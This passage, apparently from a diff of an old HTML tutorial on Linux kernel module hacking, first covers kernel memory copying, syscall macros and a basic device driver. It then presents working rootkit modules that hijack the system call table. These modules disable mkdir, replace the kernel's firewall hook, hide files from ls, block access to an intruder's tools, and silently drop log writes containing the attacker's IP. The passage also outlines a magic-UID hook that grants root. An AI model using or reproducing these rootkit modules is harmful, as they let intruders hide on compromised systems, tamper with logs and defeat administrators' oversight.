plaguez's newly defined function. I would recommand +using memcpy_fromfs(...) for general data transitions and plaguez's one for +string copying tasks.
+Now we know how to convert from user space memory to kernel space. But what +about the other direction ? This is a bit harder, because we cannot easily +allocate user space memory from our kernel space position. If we could manage this +problem we could use
+ + +#include <asm/segment.h> +void memcpy_tofs(void *to, const void *from, unsigned long count); + + +doing the actual converting. But how to allocate user space for the *to pointer? +plaguez's Phrack essay gives us the best solution : + + +/*we need brk systemcall*/ +static inline _syscall1(int, brk, void *, end_data_segment); + +... + +int ret, tmp; +char *truc = OLDEXEC; +char *nouveau = NEWEXEC; +unsigned long mmm; + +mmm = current->mm->brk; +ret = brk((void *) (mmm + 256)); +if (ret < 0) + return ret; +memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1); + + +This is a very nice trick used here. current is a pointer to the task structure +of the current process; mm is the pointer to the mm_struct - responsible for +the memory management of that process. By using the brk-systemcall on current-> +mm->brk we are able to increase the size of the unused area of the datasegment. +And as we all know allocating memory is done by playing with the datasegment, +so by increasing the unused area size, we have allocated some piece of memory +for the current process. This memory can be used for copying the kernel space +memory to user space (of the current process).
+You may wonder about the first line from the code above. This line helps us to +use user space like functions in kernel space.Every user space function provided +to us (like fork, brk, open, read, write, ...) is represented by a _syscall(...) +macro. So we can construct the exact syscall-macro for a certain user space +function (represented by a systemcall); here for brk(...).
+See I.5 for a detailed explanation. + +

5. Ways to use user space like functions

+ +As you saw in I.4 we used a syscall macro for constructing our own brk call, +which is like the one we know from user space (->brk(2)). The truth about the +user space library funtions (not all) is that they all are implemented through +such syscall macros. The following code shows the _syscall1(..) macro used in +I.4 to construct the brk(..) function (taken from /asm/unistd.h).
+ + +#define _syscall1(type,name,type1,arg1) \ +type name(type1 arg1) \ +{ \ +long __res; \ +__asm__ volatile ("int $0x80" \ + : "=a" (__res) \ + : "0" (__NR_##name),"b" ((long)(arg1))); \ +if (__res >= 0) \ + return (type) __res; \ +errno = -__res; \ +return -1; \ +} + + +You don't need to understand this code in its full function, it just calls +interrupt 0x80 with the arguments provided by the _syscall1 parameters (-> I.2). +name stands for the systemcall we need (the name is expanded to __NR_name, which +is defined in /asm/unistd.h). This way we implemted the brk function. Other +functions with a different count of arguments are implemented through other +macros (_syscallX, where X stands for the number of arguments).
+I personally use another way of implementing functions; look at the following +example : + + +int (*open)(char *, int, int); /*declare a prototype*/ + +open = sys_call_table[SYS_open]; /*you can also use __NR_open*/ + + +This way you don't need to use any syscall macro, you just use the function +pointer from the sys_call_table. While searching the web, I found that this +way of contructing user space like functions is also used in the famous LKM +infector by SVAT. In my opinion this is the better solution, but test it and +judge yourself.
+Be careful when supplying arguments for those systemcalls, they need them in +user space not from your kernel space position. Read I.4 for ways to bring your +kernel space data to user space memory.
+A very easy way doing this (the best way in my opinion) is playing with the +needed registers. You have to know that Linux uses segment selectors to +differentiate between kernel space, user space and so on. Arguments used with +systemcalls which were issued from user space are somewhere in the data segment +selector (DS) range. [I did not mention this in I.4,because it fits more in this +section.]
+DS can be retrieved by using get_ds() from asm/segment.h. So the data used as +parameters by systemcalls can only be accessed from kernel space if we set +the segment selector used for the user segment by the kernel to the needed DS +value. This can be done by using set_fs(...). But be careful,you have to restore +FS after you accessed the argument of the systemcall. So let's look at a code +fragment showing something useful :
+ + +->filename is in our kernel space; a string we just created, for example + +unsigned long old_fs_value=get_fs(); + +set_fs(get_ds); /*after this we can access the user space data*/ +open(filename, O_CREAT|O_RDWR|O_EXCL, 0640); +set_fs(old_fs_value); /*restore fs...*/ + + +In my opinion this is the easiet / fastest way of solving the problem, but test +it yourself (again).
+Remember that the functions I showed till now (brk, open) are all implemented +through a single systemcall. But there are also groups of user space functions +which are summarized into one systemcall. Take a look at the listing of +interesting systemcalls (I.2); the sys_socketcall, for example, implements every +function concering sockets (creation, closing, sending, receiving,...). So be +careful when constructing your functions; always take a look at the kernel +sources.
+ +

6. List of daily needed Kernelspace Functions

+ +I introduced the printk(..) function in the beginning of this text. It is a +function everyone can use in kernel space, it is a so called kernel function. +Those functions are made for kernel developers who need complex functions which +are normally only available through a library function. The following listing +shows the most important kernel functions we often need : + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
function/macrodescription
int sprintf +(char *buf, +const char *fmt, +...);
+int vsprintf +(char *buf, +const char *fmt, +va_list args);
functions for packing data into strings
printk +(...)the same as printf in user space
void *memset +(void *s, char c, +size_t count);
+void *memcpy +(void *dest, const void +*src, size_t count);
+char *bcopy +(const char *src, +char *dest, int count);
+void *memmove +(void *dest, const void +*src, size_t count);
+int memcmp +(const void *cs, +const void *ct, size_t +count);
+void *memscan +(void *addr, unsigned char +c, size_t size);
memory functions
int register_symtab +(struct symbol_table +*intab);see I.1
char *strcpy +(char *dest, const char +*src);
+char *strncpy +(char *dest, const char +*src, size_t count);
+char *strcat +(char *dest, const char *src);
+char *strncat +(char *dest, const char +*src, size_t count);
+int strcmp +(const char *cs, +const char *ct);
+int strncmp +(const char *cs,const +char *ct, size_t count);
+char *strchr +(const char *s, char c);
+size_t strlen +(const char *s);
+size_t strnlen +(const char *s, +size_t count);
+size_t strspn +(const char *s, +const char *accept);
+char *strpbrk +(const char *cs, +const char *ct);
+char *strtok +(char *s, const char *ct);
string compare functions etc.
unsigned long +simple_strtoul +(const char *cp, +char **endp, unsigned int +base);converting strings to number
get_user_byte +(addr);
+put_user_byte +(x, addr);
+get_user_word +(addr);
+put_user_word +(x, addr);
+get_user_long +(addr);
+put_user_long +(x, addr);
functions for accessing user memory
suser();
+fsuser();
checking for SuperUser rights
int register_chrdev +(unsigned int major, +const char *name, +struct file_o perations +*fops);
+int unregister_chrdev +(unsigned int major, +const char *name);
+int register_blkdev +(unsigned int major, +const char *name, +struct file_o perations +*fops);
+int unregister_blkdev +(unsigned int major, +const char *name);
functions which register device driver
+..._chrdev -> character devices
+..._blkdev -> block devices
+ +Please remember that some of those function may also be made available through +the method mentoined in I.5. But you should understand, that it is not very +useful contructing nice user space like functions, when the kernel gives them +to us for free.
+Later on you will see that these functions (especially string comaprisons) are +very important for our purposes.
+ + +

7. What is the Kernel-Daemon

+ +Finally we nearly reached the end of the basic part. Now I will explain the +working of the Kernel-Daemon (/sbin/kerneld). As the name suggest this is a +process in user space waiting for some action. First of all you must know that +it is necessary to activite the kerneld option while building the kernel, in +order to use kerneld's features. Kerneld works the following way : If the kernel +wants to access a resource (in kernel space of course), which is not present +at that moment, he does not produce an error. Instead of doing this he asks +kerneld for that resource. If kerneld is able to provide the resource, it loads +the required LKM and the kernel can continue working. By using this scheme it is +possible to load and unload LKMs only when they are really needed / not needed. +It should be clear that this work needs to be done both in user and in kernel +space.
+Kerneld exists in user space. If the kernel requests a new module this daemon +receives a string from the kernel telling it which module to load.It is possible +that the kenel sends a generic name (instead of the name of object file) like +eth0. In this case the system need to lookup /etc/modules.conf for alias lines. +Those lines match generic names to the LKM required on that system.
+The following line says that eth0 is represented by a DEC Tulip driver LKM :
+ + +# /etc/modules.conf # or /etc/conf.modules - this differs +alias eth0 tulip + + +This was the user space side represented by the kerneld daemon. The kernel space +part is mainly represented by 4 functions. These functions are all based on +a call to kerneld_send. For the exact way kerneld_send is involved by calling +those functions look at linux/kerneld.h. The following table lists the 4 +functions mentioned above :
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
functiondescription
int sprintf +(char *buf, +const char *fmt, +...);
+int vsprintf +(char *buf, +const char *fmt, +va_list args);
functions for packing data into strings
int request_module +(const char *name);says kerneld that the kernel requires a certain module (given a name or gerneric ID / name) +
int release_module +(const char* name, +int waitflag);unload a module
int delayed_release_module +(const char *name);delayed unload
int cancel_release_module +(const char *name);cancels a call of delayed_release_module
+Note : Kernel 2.2 uses another scheme for requesting modules. Take a look at part +V. + +

8. Creating your own Devices

+ +Appendix A introduces a TTY Hijacking util, which will use a device to log its +results. So we have to look at a very basic example of a device driver. +Look at the following code (this is a very basic driver, I just wrote it for +demonstration, it does implement nearly no operations...) :
+ + +#define MODULE +#define __KERNEL__ + +#include <linux/module.h> +#include <linux/kernel.h> +#include <asm/unistd.h> +#include <sys/syscall.h> +#include <sys/types.h> +#include <asm/fcntl.h> +#include <asm/errno.h> +#include <linux/types.h> +#include <linux/dirent.h> +#include <sys/mman.h> +#include <linux/string.h> +#include <linux/fs.h> +#include <linux/malloc.h> + +/*just a dummy for demonstration*/ +static int driver_open(struct inode *i, struct file *f) +{ + printk("<1>Open Function\n"); + return 0; +} + +/*register every function which will be provided by our driver*/ +static struct file_operations fops = { +NULL, /*lseek*/ +NULL, /*read*/ +NULL, /*write*/ +NULL, /*readdir*/ +NULL, /*select*/ +NULL, /*ioctl*/ +NULL, /*mmap*/ +driver_open, /*open, take a look at my dummy open function*/ +NULL, /*release*/ +NULL /*fsync...*/ +}; + + +int init_module(void) +{ + /*register driver with major 40 and the name driver*/ + if(register_chrdev(40, "driver", &fops)) return -EIO; + return 0; +} + +void cleanup_module(void) +{ + /*unregister our driver*/ + unregister_chrdev(40, "driver"); +} + +The most important important function is register_chrdev(...) which registers +our driver with the major number 40. If you want to access this driver,do the +following : + + +# mknode /dev/driver c 40 0 + +# insmod driver.o + + +After this you can access that device (but i did not implement any functions due +to lack of time...). The file_operations structure provides every function +(operation) which our driver will provide to the system. As you can see I did +only implement a very (!) basic dummy function just printing something. +It should be clear that you can implement your own devices in a very easy way +by using the methods above. Just do some experiments. If you log some data (key +strokes, for example) you can build a buffer in your driver that exports its +contents through the device interface). + + + + +

II. Fun & Profit

+
+

+ + +

1. How to intercept Syscalls

+ +Now we start abusing the LKM scheme. Normally LKMs are used to extend the kernel +(especially hardware drivers). Our 'Hacks' will do something different, they +will intercept systemcalls and modify them in order to change the way the system +reacts on certain commands.
+The following module makes it impossible for any user on the compromised system +to create directories. This is just a little demonstration to show the way we +follow.
+ + +#define MODULE +#define __KERNEL__ + +#include <linux/module.h> +#include <linux/kernel.h> +#include <asm/unistd.h> +#include <sys/syscall.h> +#include <sys/types.h> +#include <asm/fcntl.h> +#include <asm/errno.h> +#include <linux/types.h> +#include <linux/dirent.h> +#include <sys/mman.h> +#include <linux/string.h> +#include <linux/fs.h> +#include <linux/malloc.h> + +extern void* sys_call_table[]; /*sys_call_table is exported, so we + can access it*/ + +int (*orig_mkdir)(const char *path); /*the original systemcall*/ + + +int hacked_mkdir(const char *path) +{ + return 0; /*everything is ok, but he new systemcall + does nothing*/ +} + +int init_module(void) /*module setup*/ +{ + orig_mkdir=sys_call_table[SYS_mkdir]; + sys_call_table[SYS_mkdir]=hacked_mkdir; + return 0; +} + +void cleanup_module(void) /*module shutdown*/ +{ + sys_call_table[SYS_mkdir]=orig_mkdir; /*set mkdir syscall to the origal + one*/ +} + + +Compile this module and start it (see I.1). Try to make a directory, it will +not work.Because of returning 0 (standing for OK) we don't get an error message. +After removing the module making directories is possible again. +As you can see, we only need to change the corresponding entry in sys_call_table +(see I.2) for intercepting a kernel systemcall.
+The general approach to intercepting a systemcall is outlined in the following +list :
+
    + +
  • find your systemcall entry in sys_call_table[] (take a look at include/sys/ + syscall.h)
    +
  • save the old entry of sys_call_table[X] in a function pointer (where X stands + for the systemcallnumber you want to intercept)
    +
  • save the address of the new (hacked) systemcall you defined yourself by + setting sys_call_table[X] to the needed function address
    +
+ +You will recognize that it is very useful to save the old systemcall function +pointer, because you will need it in your hacked one for emulating the original +call. The first question you have to face when writing a 'Hack-LKM ' is :
+'Which systemcall should I intercept'.
+ +

2. Interesting Syscalls to Intercept

+Perhaps you are not a 'kernel god' and you don't know every systemcall for every +user space function an application or command can use. So I will give you some +hints on finding your systemcalls to take control over.
+
    +
  1. read source code. On systems like Linux you can have the source code on + nearly any program a user (admin) can use. Once you have found a basic + function like dup, open, write, ... go to b
    +
  2. take a look at include/sys/syscall.h (see I.2). Try to find a directly + corresponding systemcall (search for dup -> you will find SYS_dup; search + for write -> you will find SYS_write; ...). If this does not work got to c
    +
  3. some calls like socket, send, receive, ... are implemented through one + systemcall - as I said before. Take a look at the include file mentioned + for related systemcalls.
    +
+ +Remember not every C-lib function is a systemcall ! Most functions are totally +unrelated to any systemcalls !
+A little more experienced hackers should take a look at the systemcall listing +in I.2 which provides enough information. It should be clear that User ID management +is implemented through the uid-systemcalls etc. If you really want to be sure +you can also take a look at the library sources / kernel sources.
+The hardest problem is an admin writing its own applications for checking system +integrity / security. The problem concerning those programs is the lack of source +code. We cannot say how this program exactly works and which systemcalls we have +to intercept in order to hide our presents / tools. It may even be possible that +he introduced a LKM hiding itself which implements cool hacker-like systemcalls +for checking the system security (the admins often use hacker techniques to defend +their system...). So how do we proceed.
+ +

2.1 Finding interesting systemcalls (the strace approach)

+ +Let's say you know the super-admin program used to check the system (this can +be done in some ways,like TTY hijacking (see II.9 / Appendix A), the only problem +is that you need to hide your presents from the super-admin program until that +point..).
+So run the program (perhaps you have to be root to execute it) using strace. + + +# strace super_admin_proggy + + +This will give you a really nice output of every systemcall made by that program +including the systemcalls which may be added by the admin through his hacking +LKM (could be possible). I don't have a super-admin-proggy for showing you a +sample output, but take a look at the output of 'strace whoami' : + + +execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0 +mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40007000 +mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0 +mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0 +stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0 +open("/etc/ld.so.cache", O_RDONLY) = 3 +mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000 +close(3) = 0 +stat("/etc/ld.so.preload", 0xbffff780) = -1 ENOENT (No such file or directory) +open("/lib/libc.so.5", O_RDONLY) = 3 +read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096 +mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000 +mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0) = 0x4000c000 +mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x81000) = 0x4008e000 +mmap(0x40094000, 204536, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000 +close(3) = 0 +mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0 +munmap(0x40008000, 13363) = 0 +mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0 +mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0 +mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0 +personality(PER_LINUX) = 0 +geteuid() = 500 +getuid() = 500 +getgid() = 100 +getegid() = 100 +brk(0x804aa48) = 0x804aa48 +brk(0x804b000) = 0x804b000 +open("/usr/share/locale/locale.alias", O_RDONLY) = 3 +fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0 +mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40008000 +read(3, "# Locale name alias data base\n#"..., 4096) = 2005 +brk(0x804c000) = 0x804c000 +read(3, "", 4096) = 0 +close(3) = 0 +munmap(0x40008000, 4096) = 0 +open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file or directory) +open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3 +fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0 +mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000 +close(3) = 0 +geteuid() = 500 +open("/etc/passwd", O_RDONLY) = 3 +fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0 +mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000 +read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1074 +close(3) = 0 +munmap(0x4000b000, 4096) = 0 +fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0 +mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000 +write(1, "r00t\n", 5r00t +) = 5 +_exit(0) = ? + + +This is a very nice listing of all systamcalls made by the command 'whoami', +isn't it ? There are 4 interesting systemcalls to intercept in order to +manipulate the output of 'whoami' + + +geteuid() = 500 +getuid() = 500 +getgid() = 100 +getegid() = 100 + + +Take a look at II.6 for an implementation of that problem. This way of analysing +programs is also very important for a quick look at other standard tools.
+I hope you are now able to find any systemcall which can help you to hide +yourself or just to backdoor the system, or whatever you want. + +

3. Confusing the kernel's System Table

+ +In II.1 you saw how to access the sys_call_table, which is exported through the +kernel symbol table. Now think about this... We can modify any exported item +(functions, structures, variables, for example) by accessing them within our +module.
+Anything listed in /proc/ksyms can be corrupted. Remember that our module cannot +be compromised that way, because we don't export any symbols. Here is a little +excerpt from my /proc/ksyms file, just to show you what you can actually modify. + + +... +001bf1dc ppp_register_compressor +001bf23c ppp_unregister_compressor +001e7a10 ppp_crc16_table +001b9cec slhc_init +001b9ebc slhc_free +001baa20 slhc_remember +001b9f6c slhc_compress +001ba5dc slhc_uncompress +001babbc slhc_toss +001a79f4 register_serial +001a7b40 unregister_serial +00109cec dump_thread +00109c98 dump_fpu +001c0c90 __do_delay +001c0c60 down_failed +001c0c80 down_failed_interruptible +001c0c70 up_wakeup +001390dc sock_register +00139110 sock_unregister +0013a390 memcpy_fromiovec +001393c8 sock_setsockopt +00139640 sock_getsockopt +001398c8 sk_alloc +001398f8 sk_free +00137b88 sock_wake_async +00139a70 sock_alloc_send_skb +0013a408 skb_recv_datagram +0013a580 skb_free_datagram +0013a5cc skb_copy_datagram +0013a60c skb_copy_datagram_iovec +0013a62c datagram_select +00141480 inet_add_protocol +001414c0 inet_del_protocol +001ddd18 rarp_ioctl_hook +001bade4 init_etherdev +00140904 ip_rt_route +001408e4 ip_rt_dev +00150b84 icmp_send +00143750 ip_options_compile +001408c0 ip_rt_put +0014faa0 arp_send +0014f5ac arp_bind_cache +001dd3cc ip_id_count +0014445c ip_send_check +00142bc0 ip_forward +001dd3c4 sysctl_ip_forward +0013a994 register_netdevice_notifier +0013a9c8 unregister_netdevice_notifier +0013ce00 register_net_alias_type +0013ce4c unregister_net_alias_type +001bb208 register_netdev +001bb2e0 unregister_netdev +001bb090 ether_setup +0013d1c0 eth_type_trans +0013d318 eth_copy_and_sum +0014f164 arp_query +00139d84 alloc_skb +00139c90 kfree_skb +00139f20 skb_clone +0013a1d0 dev_alloc_skb +0013a184 dev_kfree_skb +0013a14c skb_device_unlock +0013ac20 netif_rx +0013ae0c dev_tint +001e6ea0 irq2dev_map +0013a7a8 dev_add_pack +0013a7e8 dev_remove_pack +0013a840 dev_get +0013b704 dev_ioctl +0013abfc dev_queue_xmit +001e79a0 dev_base +0013a8dc dev_close +0013ba40 dev_mc_add +0014f3c8 arp_find +001b05d8 n_tty_ioctl +001a7ccc tty_register_ldisc +0012c8dc kill_fasync +0014f164 arp_query +00155ff8 register_ip_masq_app +0015605c unregister_ip_masq_app +00156764 ip_masq_skb_replace +00154e30 ip_masq_new +00154e64 ip_masq_set_expire +001ddf80 ip_masq_free_ports +001ddfdc ip_masq_expire +001548f0 ip_masq_out_get_2 +001391e8 register_firewall +00139258 unregister_firewall +00139318 call_in_firewall +0013935c call_out_firewall +001392d4 call_fw_firewall +... + +Just look at call_in_firewall, this is a function used by the firewall management +in the kernel. What would happen if we replace this function with a bogus one ?
+Take a look at the following LKM : + + +#define MODULE +#define __KERNEL__ + +#include <linux/module.h> +#include <linux/kernel.h> +#include <asm/unistd.h> +#include <sys/syscall.h> +#include <sys/types.h> +#include <asm/fcntl.h> +#include <asm/errno.h> +#include <linux/types.h> +#include <linux/dirent.h> +#include <sys/mman.h> +#include <linux/string.h> +#include <linux/fs.h> +#include <linux/malloc.h> + + +/*get the exported function*/ +extern int *call_in_firewall; + +/*our nonsense call_in_firewall*/ +int new_call_in_firewall() +{ + return 0; +} + +int init_module(void) /*module setup*/ +{ + call_in_firewall=new_call_in_firewall; + return 0; +} + +void cleanup_module(void) /*module shutdown*/ +{ +} + +Compile / load this LKM and do a 'ipfwadm -I -a deny'. After this do a 'ping +127.0.0.1', your kernel will produce a nice error message, because the called +call_in_firewall(...) function was replaced by a bogus one (you may skip the +firewall installation in this example).
+This is a quite brutal way of killing an exported symbol. You could also +disassemble (using gdb) a certain symbol and modify certain bytes which will +change the working of that symbol. Imagine there is a IF THEN contruction used +in an exported function. How about disassembling this function and searching for +commands like JNZ, JNE, ... This way you would be able to patch important items. +Of course, you could lookup the functions in the kernel / module sources, but +what about symbols you cannot get the source for because you only got a binary +module. Here the disassembling is quite interesting.
+ + +

4. Filesystem related Hacks

+ +The most important feature of LKM hacking is the abilaty to hide some items +(your exploits, sniffer (+logs), and so on) in the local filesystem. + +

4.1 How to Hide Files

+Imagine how an admin will find your files : He will use 'ls' and see everything. +For those who don't know it, strace'in through 'ls' will show you that the +systemcall used for getting directory listings is + + +int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count); + +So we know where to attack.The following piece of code shows the hacked_getdents +systemcall adapted from AFHRM (from Michal Zalewski). This module is able to +hide any file from 'ls' and every program using getdents systemcall. + + +#define MODULE +#define __KERNEL__ + +#include <linux/module.h> +#include <linux/kernel.h> +#include <asm/unistd.h> +#include <sys/syscall.h> +#include <sys/types.h> +#include <asm/fcntl.h> +#include <asm/errno.h> +#include <linux/types.h> +#include <linux/dirent.h> +#include <sys/mman.h> +#include <linux/string.h> +#include <linux/fs.h> +#include <linux/malloc.h> + +extern void* sys_call_table[]; + +int (*orig_getdents) (uint, struct dirent *, uint); + +int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) +{ + unsigned int tmp, n; + int t, proc = 0; + struct inode *dinode; + struct dirent *dirp2, *dirp3; + char hide[]="ourtool"; /*the file to hide*/ + + /*call original getdents -> result is saved in tmp*/ + tmp = (*orig_getdents) (fd, dirp, count); + + /*directory cache handling*/ + /*this must be checked because it could be possible that a former getdents + put the results into the task process structure's dcache*/ +#ifdef __LINUX_DCACHE_H + dinode = current->files->fd[fd]->f_dentry->d_inode; +#else + dinode = current->files->fd[fd]->f_inode; +#endif + + /*dinode is the inode of the required directory*/ + if (tmp > 0) + { + /*dirp2 is a new dirent structure*/ + dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL); + /*copy original dirent structure to dirp2*/ + memcpy_fromfs(dirp2, dirp, tmp); + /*dirp3 points to dirp2*/ + dirp3 = dirp2; + t = tmp; + while (t > 0) + { + n = dirp3->d_reclen; + t -= n; + /*check if current filename is the name of the file we want to hide*/ + if (strstr((char *) &(dirp3->d_name), (char *) &hide) != NULL) + { + /*modify dirent struct if necessary*/ + if (t != 0) + memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t); + else + dirp3->d_off = 1024; + tmp -= n; + } + if (dirp3->d_reclen == 0) + { + /* + * workaround for some shitty fs drivers that do not properly + * feature the getdents syscall. + */ + tmp -= t; + t = 0; + } + if (t != 0) + dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen); + } + memcpy_tofs(dirp, dirp2, tmp); + kfree(dirp2); + } + return tmp; +} + + +int init_module(void) /*module setup*/ +{ + orig_getdents=sys_call_table[SYS_getdents]; + sys_call_table[SYS_getdents]=hacked_getdents; + return 0; +} + +void cleanup_module(void) /*module shutdown*/ +{ + sys_call_table[SYS_getdents]=orig_getdents; + +} + + +For beginners : read the comments and use your brain for 10 mins.
+After that continue reading.
+This hack is really helpful. But remember that the admin can see your file by +directly accessing it. So a 'cat ourtool' or 'ls ourtool' will show him our +file. So never take any trivial names for your tools like sniffer, mountdxpl.c, +.... Of course their are ways to prevent an admin from reading our files, just +read on.
+ +

4.2 How to hide the file contents (totally)

+ +I never saw an implementation really doing this. Of course their are LKMs like +AFHRM by Michal Zalewski controlling the contents / delete functions but not +really hiding the contents. I suppose their are lots of people actually using +methods like this, but no one wrote on it, so I do.
+It should be clear that there are many ways of doing this. The first way is +very simple,just intercept an open systemcall checking if filename is 'ourtool'. +If so deny any open-attempt, so no read / write or whatever is possible. Let's +implement that LKM :
+ + +#define MODULE +#define __KERNEL__ + +#include <linux/module.h> +#include <linux/kernel.h> +#include <asm/unistd.h> +#include <sys/syscall.h> +#include <sys/types.h> +#include <asm/fcntl.h> +#include <asm/errno.h> +#include <linux/types.h> +#include <linux/dirent.h> +#include <sys/mman.h> +#include <linux/string.h> +#include <linux/fs.h> +#include <linux/malloc.h> + +extern void* sys_call_table[]; + + +int (*orig_open)(const char *pathname, int flag, mode_t mode); + + +int hacked_open(const char *pathname, int flag, mode_t mode) +{ + char *kernel_pathname; + char hide[]="ourtool"; + + /*this is old stuff -> transfer to kernel space*/ + kernel_pathname = (char*) kmalloc(256, GFP_KERNEL); + + memcpy_fromfs(kernel_pathname, pathname, 255); + + if (strstr(kernel_pathname, (char*)&hide ) != NULL) + { + kfree(kernel_pathname); + /*return error code for 'file does not exist'*/ + return -ENOENT; + } + else + { + kfree(kernel_pathname); + /*everything ok, it is not our tool*/ + return orig_open(pathname, flag, mode); + } +} + + +int init_module(void) /*module setup*/ +{ + orig_open=sys_call_table[SYS_open]; + sys_call_table[SYS_open]=hacked_open; + return 0; +} + +void cleanup_module(void) /*module shutdown*/ +{ + sys_call_table[SYS_open]=orig_open; +} + + +This works very fine, it tells anyone trying to access our files, that they +are non-existent. But how do we access those files. Well there are many ways +
    +
  • implement a magic-string
    +
  • implement uid or gid check (requires creating a certain account)
    +
  • implement a time check
    +
  • ...
    +
+There are thousands of possibilies which are all very easy to implement, so I +leave this as an exercise for the reader. + +

4.3 How to hide certain file parts (a prototype implementation)

+ + +Well the method shown in 3.2 is very useful for our own tools / logs. But +what about modifying admin / other user files. Imagine you want to control +/var/log/messages for entries concerning your IP address / DNS name. We all +know thousands of backdoors hiding our identity from any important logfile. +But what about a LKM just filtering every string (data) written to a file. If +this string contains any data concerning our identity (IP address, for example) +we deny that write (we will just skip it/return). The following implementation +is a very (!!) basic prototype (!!) LKM, just for showing it. I never saw it +before, but as in 3.2 there may be some people using this since years. + + +#define MODULE +#define __KERNEL__ + +#include <linux/module.h> +#include <linux/kernel.h> +#include <asm/unistd.h> +#include <sys/syscall.h> +#include <sys/types.h> +#include <asm/fcntl.h> +#include <asm/errno.h> +#include <linux/types.h> +#include <linux/dirent.h> +#include <sys/mman.h> +#include <linux/string.h> +#include <linux/fs.h> +#include <linux/malloc.h> + +extern void* sys_call_table[]; + + +int (*orig_write)(unsigned int fd, char *buf, unsigned int count); + +int hacked_write(unsigned int fd, char *buf, unsigned int count) +{ + char *kernel_buf; + char hide[]="127.0.0.1"; /*the IP address we want to hide*/ + + kernel_buf = (char*) kmalloc(1000, GFP_KERNEL); + + memcpy_fromfs(kernel_buf, buf, 999); + + if (strstr(kernel_buf, (char*)&hide ) != NULL) + { + kfree(kernel_buf); + /*say the program, we have written 1 byte*/ + return 1; + } + else + { + kfree(kernel_buf); + return orig_write(fd, buf, count); + } +} + +int init_module(void) /*module setup*/ +{ + orig_write=sys_call_table[SYS_write]; + sys_call_table[SYS_write]=hacked_write; + return 0; +} + +void cleanup_module(void) /*module shutdown*/ +{ + sys_call_table[SYS_write]=orig_write; +} + + +This LKM has several disadvantages, it does not check for the destination it +the write is used on (can be checked via fd; read on for a sample). This means +the even a 'echo '127.0.0.1'' will be printed.
+You can also modify the string which should be written, so that it shows an IP +address of someone you really like... But the general idea should be clear.
+ +

4.4 How to redirect / monitor file operations

+ + +This idea is old, and was first implemented by Michal Zalewski in AFHRM. +I won't show any code here, because it is too easy to implemented (after +showing you II.4.3/II.4.2).There are many things you can monitor by redirection/ +filesystem events : +
    +
  • someone writes to a file -> copy the contents to another file + =>this can be done with sys_write(...) redirection
    +
  • someone was able to read a sensitve file -> monitor file reading of certain + files
    + =>this can be done with sys_read(...) redirection
    +
  • someone opens a file -> we can monitor the whole system for such events
    + =>intercept sys_open(...) and write files opened to a logfile; this is + the ways AFHRM monitors the files of a system (see IV.3 for source)
    +
  • link / unlink events -> monitor every link created
    + =>intercept sys_link(...) (see IV.3 for source)
    +
  • rename events -> monitor every file rename event
    + =>intercept sys_rename(...) (see IV.4 for source)
    +
  • ...
    +
+These are very interesting points (especially for admins) because you can +monitor a whole system for file changes. In my opinion it would also be +interesting to monitor file / directory creations, which use commands like +'touch' and 'mkdir'.
+The command 'touch' (for example) does not use open for the creation process; +a strace shows us the following listing (excerpt) : + + +... +stat("ourtool", 0xbffff798) = -1 ENOENT (No such file or directory) +creat("ourtool", 0666) = 3 +close(3) = 0 +_exit(0) = ? + + +As you can see the system uses the systemcall sys_creat(..) to create new files. +I think it is not necessary to present a source,because this task is too trivial +just intercept sys_creat(...) and write every filename to logfile with +printk(...).
+This is the way AFHRM logs any important events. + + +

4.5 How to avoid any file owner problems

+ +This hack is not only filesystem related, it is also very important for general +permission problems. Have a guess which systemcall to intercept.Phrack (plaguez) +suggests hooking sys_setuid(...) with a magic UID. This means whenever a setuid +is used with this magic UID, the module will set the UIDs to 0 (SuperUser).
